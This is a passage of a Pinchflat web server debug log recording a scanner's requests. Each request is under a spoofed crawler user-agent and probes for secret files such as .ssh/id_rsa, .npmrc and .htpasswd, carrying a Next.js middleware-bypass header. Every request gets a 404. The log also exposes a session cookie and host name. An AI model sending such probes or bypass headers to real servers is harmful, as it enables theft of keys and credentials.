~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29640.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33860}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29640.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33860}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :unde (truncated) 16:49:06.944 [info] GET /serverless.yml 16:49:06.944 [debug] QUERY OK source="settings" db=0.1ms idle=92.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.944 [debug] QUERY OK source="settings" db=0.1ms idle=50.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.944 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.945 [error] #PID<0.29643.0> running PinchflatWeb.Endpoint (connection #PID<0.29642.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /serverless.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33864}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29643.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/serverless.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZBq9S2cVSsABv-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33864}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33864}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host (truncated) 16:49:06.963 [info] GET /.npmrc 16:49:06.963 [debug] QUERY OK source="settings" db=0.0ms idle=38.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.964 [debug] QUERY OK source="settings" db=0.0ms idle=38.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.964 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.964 [error] #PID<0.29645.0> running PinchflatWeb.Endpoint (connection #PID<0.29644.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.npmrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29644.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33878}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29645.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.npmrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZGQwgj2W1sABv-h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29644.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33878}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29644.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33878}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, (truncated) 16:49:06.972 [info] GET /.ssh/id_rsa 16:49:06.972 [debug] QUERY OK source="settings" db=0.0ms idle=27.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.972 [debug] QUERY OK source="settings" db=0.0ms idle=27.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.972 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.972 [error] #PID<0.29647.0> running PinchflatWeb.Endpoint (connection #PID<0.29646.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.ssh/id_rsa ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/id_rsa (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29646.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_rsa", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29647.0>, params: %{}, path_info: [".ssh", "id_rsa"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.ssh/id_rsa", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZIR3nNWPPoABv_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29646.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_rsa", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/id_rsa (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29646.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_rsa", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 16:49:06.994 [info] GET /.htpasswd 16:49:06.995 [debug] QUERY OK source="settings" db=0.1ms idle=46.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.995 [debug] QUERY OK source="settings" db=0.0ms idle=31.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.995 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.995 [error] #PID<0.29649.0> running PinchflatWeb.Endpoint (connection #PID<0.29648.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.htpasswd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29648.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.htpasswd", host: 